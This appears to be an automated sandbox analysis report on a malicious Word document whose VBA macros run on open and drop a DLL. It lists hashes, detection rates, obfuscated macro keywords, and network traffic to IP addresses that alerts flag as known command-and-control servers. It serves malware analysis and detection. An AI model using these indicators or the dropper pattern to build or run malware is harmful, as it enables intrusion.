SHA-512: 3AA160CB89F4D8393BCBF9FF4357FFE7AE00663F21F436D341FA4F5AD4AEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: modified

Size (bytes): 354648

Entropy (8bit): 4.29030621772406

Encrypted: false

SSDEEP: 3072:L82jpiC2JG7HZb7XWQml/jz8A4diTE90Q6kF4CKAYRkcj:I2L7HN7Kl/jLA90QECrYRpj

MD5: 039810A34BE3DD45B9D30F89E18F46F4

SHA1: 5F8609A2DB33D6BB70584E1741F428245474146F

SHA-256: A9DD98F4B6FE0B997F8B3D50F1CA405F02583A02133874FE123EAEA6C22DAB00
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Static File Info

General
File type: Composite Document File V2 Document, Little Endian, 

Os: Windows, Version 6.2, Code page: -535, Keywords: 
155, Comments: 43, Thumbnail: 21890, 0x17: 91
7504CDFV2 Microsoft Word

Entropy (8bit): 6.825379760273459

TrID: Microsoft Word document (32009/1) 79.99%
Generic OLE2 / Multistream Compound File 
(8008/1) 20.01%

File name: Io8ic2291n.doc

File size: 162816

MD5: c407d761ae02cc9327c0032e12eee614

SHA1: deaac3a40a855a36516a6a774e8f5e4683b4dca0

SHA256: 7236c54fca0b5d561a4194766f1b47882c7c44670b2a395
2e1474cd4b9025214

SHA512: d39e50c8c1f568d5655dd3afc40f22ac15fb14ecddd7b19
2fe33c4d8f64b1f29bb862b8d082f44f43dab06ae25c3c7f
e6a0fc53a9e295e8fe7aa9d560286d5da

SSDEEP: 3072:1/X2TdcrrXyQBsc0vWJVi4IrwVqfMb27:1/PPIId27

File Content Preview: ........................>...............................................................
.........................................................................................
..............................................................................

File Icon

Icon Hash: e4eea2aaa4b4b4a4

SHA-512: 8ACA60103958AA461A91F708E0E41A401F316161DEFE9525560AC2E03AEA3566E01F0825410E678B0C76DA7551CE48C2200D01380810CF70AC75F9CC91BCF9FF

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 76%, Browse
Antivirus: ReversingLabs, Detection: 93%

Joe Sandbox 
View:

Filename: 68254_2001.doc, Detection: malicious, Browse
Filename: ARCHIVOFile-20-012021.doc, Detection: malicious, Browse

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.`...........!...2.@..........P........P..........................................
.....................................`..d....................T..X............................................................a..`............................text....6.......8.................. ..`.rdata..W....P.......<..............@..@.dat
a........`.......>..............@....text4.......p.......B..............@....text8..d............H.............. ..@.text7..d............J.............. ..@.text6..d............L.............. ..@.text5..d............N.............. 
..@.reloc...............P..............@..B......................................................................................................................................................................................................................
..................................................

C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll

General
Document Type: OLE

Number of OLE Files: 1

Indicators
Has Summary Info: True

Application Name: unknown

Encrypted Document: False

Contains Word Document Stream: True

Contains Workbook/Book Stream: False

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Static OLE Info

OLE File "Io8ic2291n.doc"
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Document Summary
Document Code Page: -535

Number of Lines: 155

Number of Paragraphs: 43

Thumbnail Scaling Desired: False

Company:

Contains Dirty Links: False

Shared Document: False

Changed Hyperlinks: False

Application Version: 917504

General

Stream Path: Macros/VBA/Bcur5699z4d

VBA File Name: Bcur5699z4d

Stream Size: 1108

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . u . . . . . . . . . . . . . . g . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff e5 02 00 00 75 03 00 
00 00 00 00 00 01 00 00 00 92 a6 8c 67 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

VBA Code

Keyword

Xqcxarraokjbi

False

Private

VB_Exposed

Attribute

VB_Creatable

VB_Name

Document_open()

VB_Customizable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_TemplateDerived

General

Stream Path: Macros/VBA/Nst6otvnmgmpw

VBA File Name: Nst6otvnmgmpw

Stream Size: 17602

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 a4 05 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff ac 05 00 00 9c 30 00 
00 00 00 00 00 01 00 00 00 92 a6 3f ad 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 
00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

Keyword

crnYCaC

RYtzeF

ClofCvn

Streams with VBA

VBA File Name: Bcur5699z4d, Stream Size: 1108

VBA Code Keywords

VBA File Name: Nst6otvnmgmpw, Stream Size: 17602

VBA Code Keywords
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BlbPRi:

Left(vpWmJA.Range.ParagraphStyle,

BlbPRi)

kBCITgNAC.Range.ListFormat.ListString

aqFpElJ

tFspDCJEJ

djUnAEBd.Range.ParagraphStyle

QjbRmCII

rknGHpIJ

RmTjACo

jdDhS

ah_sg

InStr(kBCITgNAC.Range.Text,

MscjBIE.Range.ParagraphStyle

sDmVCG

TpAnAB.Range.Text

dUBsAD

ORjdHplF.Range.Text

ueWFHDCC

QpteDQ

wNsHseJob

DagVrchHi.Range.Text

NcnmJ

aiupjCA.Range.ParagraphStyle

pbPXFg

SeBOI

wgusFA

VrghdcJA.Range.Text

vXdLFECJ

ElseIf

pbPXFg.Range.ParagraphStyle

mWRkEDBn

swJREBktH

Len("xxx"))

DagVrchHi

GvZhcxcBE.Range.ListFormat.ListString

clyZlt.Range.ParagraphStyle

kBCITgNAC.Range.Text

QurlJAjI

ah:wsg

Left(ORjdHplF.Range.ParagraphStyle,

EGxLDh

ifZhJxP

BdbvZ

InStr(KekJrc.Range.Text,

SEEmDH

ihnSRH

djUnAEBd.Range.Text

kYUGGMJ.Range.ListFormat.ListString

JJqbCtEH

ahpsg

InStr(MscjBIE.Range.Text,

ZBXzADzi

dPYykYG

InStr(TpAnAB.Range.Text,

TpAnAB.Range.ListFormat.ListString

Replace(saw,

kBCITgNAC.Range.ParagraphStyle

ilrmFI

QyjOFbQGB

Left(GvZhcxcBE.Range.ParagraphStyle,

IGyeHIDF

DMzpFn

MFcvbrIeP

Keyword
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WHeXGpVAC

nWADOALQ

ORjdHplF.Range.ParagraphStyle

clyLjDhC

oSnKJGCv

ODMoFC)

CJIuIYEKI

KoPDIC

gnnIFFf

djUnAEBd.Range.ListFormat.ListString

XSZpp

QrQLEAI

hnsxGG

tfnHGB

LCIxEHv

ORjdHplF.Range.ListFormat.ListString

Resume

vpWmJA.Range.ParagraphStyle

InStr(clyZlt.Range.Text,

PAyxzTsC

dwTYCJwLC)

GLKaFEDcX

PEaiK.Range.Text

zjQpkF

KekJrc.Range.ListFormat.ListString

wJKPQpiH

Left(kYUGGMJ.Range.ParagraphStyle,

ruwfBB

QrQLEAI:

GHJmFFAIm)

golkzCJBD

FdSuG

OtoVEFFI

QrQLEAI)

"hqkwjbjdasd"

GHJmFFAIm:

LEeUqk

Left(clyZlt.Range.ParagraphStyle,

ZAXDGY

KnxFzdf

kYUGGMJ.Range.ParagraphStyle

ubHTxDED

LqcVa

Left(djUnAEBd.Range.ParagraphStyle,

aqFpElJ.Range.Text

GvZhcxcBE

twfalBEJ

HmUuEIbVG

KekJrc.Range.Text

vpWmJA.Range.Text

iGMIJABIz

uRNYED

ORjdHplF

DrqvEr

LGONCIz

Left(MscjBIE.Range.ParagraphStyle,

kyTwIN

wTLHBUFzI

wNsHseJob.Range.ParagraphStyle

WLdYLJOB

YfXWF

VrzOGkkDJ

EWTFmUdCA

dUBsAD)

Keyword
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KekJrc

sVBjGLE

dUBsAD:

xWqeABhHw

bssipAJC

Left(pbPXFg.Range.ParagraphStyle,

GvZhcxcBE.Range.ParagraphStyle

Xqcxarraokjbi()

BApwTCG

ahgmsg

VB_Name

CzpmH

wTHGJGJ

VrghdcJA.Range.ListFormat.ListString

wZFCUdE)

BRoZbEF

wZFCUdE:

IEHycIT

aqFpElJ.Range.ParagraphStyle

"xxxx"

bxSXGCyrq

rQGxCbRtR

aqFpElJ.Range.ListFormat.ListString

Mid(Application.Name,

InStr(aqFpElJ.Range.Text,

aNLHyKGxD

InStr(kYUGGMJ.Range.Text,

NirTjIE

Left(DagVrchHi.Range.ParagraphStyle,

aJzPBis.Range.ListFormat.ListString

ODMoFC

CJIuIYEKI)

HwQjGFBhp

VrghdcJA.Range.ParagraphStyle

CJIuIYEKI:

qOgvIXcc

PIEpnIEQ

InStr(wNsHseJob.Range.Text,

TpAnAB.Range.ParagraphStyle

AZyYMo

RpARJ

Paragraph

ODMoFC:

InStr(aJzPBis.Range.Text,

YfXWF)

BlbPRi

BApwTCG.Range.ParagraphStyle

KekJrc.Range.ParagraphStyle

xmKhhI

Left(PEaiK.Range.ParagraphStyle,

PEaiK.Range.ListFormat.ListString

ahinsg

polxC

ahmsg

clyZlt.Range.Text

vpWmJA.Range.ListFormat.ListString

dwTYCJwLC:

JozvGJc

BApwTCG.Range.ListFormat.ListString

ahssg

rlKgn

PEaiK

Left(wNsHseJob.Range.ParagraphStyle,

aJzPBis

Keyword
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chPFBOFy

PyQuEPBH

QxPrAc

wZFCUdE

lSOmIHg

GHJmFFAIm

gzBJqD

BApwTCG.Range.Text

yVvECoEYV

Left(BApwTCG.Range.ParagraphStyle,

InStr(VrghdcJA.Range.Text,

Left(KekJrc.Range.ParagraphStyle,

Left(aJzPBis.Range.ParagraphStyle,

hnsxGG)

InStr(BApwTCG.Range.Text,

AYQZHEBI

elbdiLVN

vttGko

aiupjCA.Range.ListFormat.ListString

InStr(vpWmJA.Range.Text,

DagVrchHi.Range.ParagraphStyle

PIEpnIEQ)

dueIMGo

GvZhcxcBE.Range.Text

PIEpnIEQ:

InStr(pbPXFg.Range.Text,

DdtFCGIA

Left(VrghdcJA.Range.ParagraphStyle,

MscjBIE.Range.Text

HgufGDBpC

BjqtUGzGV

"kkiew")

LATJAGVFG

fishDz

Function

InStr(PEaiK.Range.Text,

IpndaHM

"sjgwb",

jhoJOEJc

QyjOFbQGB)

vpWmJA

igIuH

DMzpFn)

QyjOFbQGB:

kYUGGMJ

DMzpFn:

VGSqAr

QgrUG

jVymJ

Left(aqFpElJ.Range.ParagraphStyle,

TpXhGgIp

kYUGGMJ.Range.Text

OnCoGHI

zfIxDdGy

uRNYED)

pbPXFg.Range.ListFormat.ListString

clyZlt.Range.ListFormat.ListString

IyCjJCAKS

uRNYED:

wNsHseJob.Range.ListFormat.ListString

kBCITgNAC

HFzCp

aiupjCA.Range.Text

mNAmBCKAC

Keyword
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clyZlt

hHdBIMIgE

MllKTIJEc

aJzPBis.Range.Text

InStr(GvZhcxcBE.Range.Text,

cLxQFB

vYqwDI

ahcesg

ahrosg

GLKaFEDcX:

lscaG

GLKaFEDcX)

EiZIHkBmm

yigPu

CITOv

nATRHnACI

aiupjCA

DagVrchHi.Range.ListFormat.ListString

MscjBIE.Range.ListFormat.ListString

vlZuYFCC

clyLjDhC)

ruwfBB)

dwTYCJwLC

ATQXIsF

rvAquNI

ruwfBB:

clyLjDhC:

pbPXFg.Range.Text

wNsHseJob.Range.Text

zhliJ

RxTZR

TpAnAB

ahtsg

bebkDqAH

VrghdcJA

kFOCACABC

Error

aiaDHfVAA

InStr(DagVrchHi.Range.Text,

Attribute

FTbqcNF

YfXWF:

MscjBIE

wuVfVIU

InStr(aiupjCA.Range.Text,

mJzxEXG

NVFQOFAXs

InStr(ORjdHplF.Range.Text,

hnsxGG:

PEaiK.Range.ParagraphStyle

ykoqBxAG

xvhwEkIi

HpOdl

bEIjwUFFB

wHzvQRHCw

aJzPBis.Range.ParagraphStyle

InStr(djUnAEBd.Range.Text,

zfIxDdGy)

VGSqAr)

zfIxDdGy:

Left(aiupjCA.Range.ParagraphStyle,

VGSqAr:

djUnAEBd

Left(kBCITgNAC.Range.ParagraphStyle,

Keyword
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VBA Code

Left(TpAnAB.Range.ParagraphStyle,

uqBHEDw

EqstFcEf

NrnOEeCi

EBTVGH

DvhBN

Keyword

General

Stream Path: Macros/VBA/Xxuu21l7kiwbxwj_0

VBA File Name: Xxuu21l7kiwbxwj_0

Stream Size: 704

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 83 02 00 
00 00 00 00 00 01 00 00 00 92 a6 06 e8 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

VBA Code

Keyword

Attribute

VB_Name

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 146

Entropy: 4.00187355764

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t 
. 8 . . 9 . q @ . . . . . > . : . C . < . 5 . = . B .   . M . i . c . r . o . s . o . f . t .   . W . o . r . d .   . 9 . 7 . 
- . 2 . 0 . 0 . 3 . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 
2e 38 00 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d 
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00 
37 00 2d 00 

General

Stream Path: \x5DocumentSummaryInformation

File Type: data

Stream Size: 4096

Entropy: 0.280441275353

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . h . . . . . . . p . . . . . .
. | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + . . . . . . . . U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 0c 00 00 00 01 00 00 00 
68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 
00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 
13 00 00 00 ac 00 00 00 

VBA File Name: Xxuu21l7kiwbxwj_0, Stream Size: 704

VBA Code Keywords

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 146

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
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General

Stream Path: \x5SummaryInformation

File Type: data

Stream Size: 1076

Entropy: 7.82221034629

Base64 Encoded: False

Data ASCII: Y < . v t . * . . . P L . . X . K . . x p ( . . . 7 . . R . . 6 . / . . . I m . . P ~ . : ~ y < x . # . . m v 0 + . . = z
D . s . . . . . . . . 9 . .   . a f . . O m . . . . ; . . . . ^ 0 . . . . .   . . . . . ! . . . V . . . . . + . . . . i g . . . . . . . . .
. E E 2 . . y . d < . P c Y . P . . t . . . . . t . . . . ~ . . . . . . M . . . \\ . . N . . . Q . .   W w . . . . . . . . b O 
. y . 6 . r Z . . . . ~ . . B . ^ [ . . ) ^ j . $ . e . . . . . . . . . . . . . . . F ; . v K . q . ` . . J & . . . . . . . 

Data Raw: 59 3c 9a 76 74 06 2a 16 1d 9f 50 4c d6 98 58 b0 4b a7 a8 78 70 28 10 a0 8c 37 8b e6 52 aa 
0c 36 a9 2f 0f d3 dd 49 6d 1b f5 50 7e ae 3a 7e 79 3c 78 86 23 04 87 6d 76 30 2b f9 ea 3d 7a 
44 c3 73 92 19 a3 a6 89 84 d2 01 39 8d 82 20 aa 61 66 0e bd 4f 6d cb 86 07 af 3b b9 de a7 
e4 5e 30 a0 b1 8c 0a 1c 20 db d2 b2 f4 b4 21 cb fa eb 56 85 c9 93 dc 7f 2b d6 f8 ec 8a 69 67 
ed aa dc ed a3 08 

General

Stream Path: 1Table

File Type: data

Stream Size: 6861

Entropy: 6.02892947961

Base64 Encoded: True

Data ASCII: j . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . .
6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6
. . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
. . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 

Data Raw: 6a 04 11 00 12 00 01 00 0b 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 
76 02 00 00 76 02 00 00 

General

Stream Path: Macros/PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 517

Entropy: 5.51044136587

Base64 Encoded: True

Data ASCII: I D = " { 2 1 D F 1 D 8 3 - D A C 6 - 4 F C E - A 9 4 D - 2 C 7 0 E C 4 6 E 1 7 0 } " . . D o c u m 
e n t = B c u r 5 6 9 9 z 4 d / & H 0 0 0 0 0 0 0 0 . . M o d u l e = X x u u 2 1 l 7 k i w b x w j _ 0 
. . M o d u l e = N s t 6 o t v n m g m p w . . E x e N a m e 3 2 = " W 9 i 7 s t p l 0 2 4 v g x r " . . 
N a m e = " Q w " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 
2 2 2 0 0 0 " . . C M G = " 8 F 8 D 9 9 E 4 A 7 6 C E A 7 0 E A 7 0 E A 7 0 E A 7 0 " . . D P 

Data Raw: 49 44 3d 22 7b 32 31 44 46 31 44 38 33 2d 44 41 43 36 2d 34 46 43 45 2d 41 39 34 44 2d 32 
43 37 30 45 43 34 36 45 31 37 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 42 63 75 72 35 36 
39 39 7a 34 64 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 58 78 75 75 32 
31 6c 37 6b 69 77 62 78 77 6a 5f 30 0d 0a 4d 6f 64 75 6c 65 3d 4e 73 74 36 6f 74 76 6e 6d 67 
6d 70 77 0d 0a 45 78 

General

Stream Path: Macros/PROJECTwm

File Type: data

Stream Size: 134

Entropy: 3.95084728485

Base64 Encoded: False

Data ASCII: B c u r 5 6 9 9 z 4 d . B . c . u . r . 5 . 6 . 9 . 9 . z . 4 . d . . . X x u u 2 1 l 7 k i w b x w j _ 0 . X . x 
. u . u . 2 . 1 . l . 7 . k . i . w . b . x . w . j . _ . 0 . . . N s t 6 o t v n m g m p w . N . s . t . 6 . o . t . v 
. n . m . g . m . p . w . . . . . 

Data Raw: 42 63 75 72 35 36 39 39 7a 34 64 00 42 00 63 00 75 00 72 00 35 00 36 00 39 00 39 00 7a 00 
34 00 64 00 00 00 58 78 75 75 32 31 6c 37 6b 69 77 62 78 77 6a 5f 30 00 58 00 78 00 75 00 
75 00 32 00 31 00 6c 00 37 00 6b 00 69 00 77 00 62 00 78 00 77 00 6a 00 5f 00 30 00 00 00 
4e 73 74 36 6f 74 76 6e 6d 67 6d 70 77 00 4e 00 73 00 74 00 36 00 6f 00 74 00 76 00 6e 00 
6d 00 67 00 6d 00 70 00 

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 1076

Stream Path: 1Table, File Type: data, Stream Size: 6861

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 517

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 134

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 5553
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Snort IDS Alerts

Network Port Distribution

General

Stream Path: Macros/VBA/_VBA_PROJECT

File Type: data

Stream Size: 5553

Entropy: 5.57459869251

Base64 Encoded: False

Data ASCII: . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 .
0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 1 . # . 9 . 
# . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . 
~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l .   . B . a . s
. i . c .   . F . 

Data Raw: cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 
05 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 
34 00 2e 00 31 00 23 00 

General

Stream Path: Macros/VBA/dir

File Type: data

Stream Size: 672

Entropy: 6.35085469527

Base64 Encoded: True

Data ASCII: . . . . . . . . . . . . 0 * . . . . . p . . H . . " . . d . . . . . Q 2 . 2 . 4 . . @ . . . . . Z = . . . . b . . . . . . . . . [ . . a
. . . % . J < . . . . . r s t   d o l e > . 2 s . . t . d . o . l . . e . . . h . % ^ . . . * \\ G { 0 0 0 2 ` 0 4 3 0 - . 
. . . C . . . . . . . 0 0 4 6 } . # 2 . 0 # 0 # C . : \\ W i n d o w . s \\ S y s W O W . 6 4 \\ . e 2 . t l . b # 
O L E   A u . t o m a t i o n . . ` . . . . N o r m a . l . E N . C r . m . . a . F . .   . . . . . X * \\ C . . . . . . 
m . . . . ! O f f i c 

Data Raw: 01 9c b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4 
04 04 02 1c 51 32 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 0a 07 02 62 01 14 08 06 12 
09 01 02 12 5b d8 f7 61 06 00 0c 25 02 4a 3c 02 0a 16 00 01 72 73 74 20 64 6f 6c 65 3e 02 
32 73 00 00 74 00 64 00 6f 00 6c 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5c 47 7b 30 30 
30 32 60 30 34 33 30 2d 

General

Stream Path: WordDocument

File Type: data

Stream Size: 113278

Entropy: 7.3453177245

Base64 Encoded: True

Data ASCII: . . . . _ . . . . . . . . . . . . . . . . . . . . . . . . ] . . . . b j b j . . . . . . . . . . . . . . . . . . . . . . . . . . ~ . . . b . . . b .
. . . U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . F . . . . . . . F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: ec a5 c1 00 5f c0 09 04 00 00 f0 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 ad 5d 00 
00 0e 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 
04 16 00 7e ba 01 00 62 7f 00 00 62 7f 00 00 ad 55 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 
00 00 00 00 00 

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

02/11/21-
10:32:20.130132

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49165 191.6.196.95 192.168.2.22

02/11/21-
10:33:58.195651

TCP 2404342 ET CNC Feodo Tracker Reported CnC Server TCP group 22 49175 80 192.168.2.22 84.232.229.24

02/11/21-
10:34:09.027523

TCP 2404332 ET CNC Feodo Tracker Reported CnC Server TCP group 17 49176 8080 192.168.2.22 51.255.203.164

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 672

Stream Path: WordDocument, File Type: data, Stream Size: 113278
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Total Packets: 59

• 53 (DNS)

• 443 (HTTPS)

• 80 (HTTP)

Timestamp Source Port Dest Port Source IP Dest IP

Feb 11, 2021 10:32:19.601501942 CET 49165 80 192.168.2.22 191.6.196.95

Feb 11, 2021 10:32:19.848912001 CET 80 49165 191.6.196.95 192.168.2.22

Feb 11, 2021 10:32:19.849109888 CET 49165 80 192.168.2.22 191.6.196.95

Feb 11, 2021 10:32:19.852366924 CET 49165 80 192.168.2.22 191.6.196.95

Feb 11, 2021 10:32:20.099498987 CET 80 49165 191.6.196.95 192.168.2.22

Feb 11, 2021 10:32:20.130131960 CET 80 49165 191.6.196.95 192.168.2.22

Feb 11, 2021 10:32:20.330898046 CET 49165 80 192.168.2.22 191.6.196.95

Feb 11, 2021 10:32:20.498606920 CET 49166 80 192.168.2.22 75.103.81.81

Feb 11, 2021 10:32:23.497950077 CET 49166 80 192.168.2.22 75.103.81.81

Feb 11, 2021 10:32:25.131429911 CET 80 49165 191.6.196.95 192.168.2.22

Feb 11, 2021 10:32:25.131501913 CET 49165 80 192.168.2.22 191.6.196.95

Feb 11, 2021 10:32:29.504441023 CET 49166 80 192.168.2.22 75.103.81.81

Feb 11, 2021 10:32:42.012885094 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:42.248145103 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:42.248507977 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:42.262522936 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:42.497574091 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:42.499939919 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:42.499974966 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:42.499993086 CET 443 49167 177.12.170.95 192.168.2.22

Feb 11, 2021 10:32:42.500077963 CET 49167 443 192.168.2.22 177.12.170.95

Feb 11, 2021 10:32:42.511046886 CET 49167 443 192.168.2.22 177.12.170.95

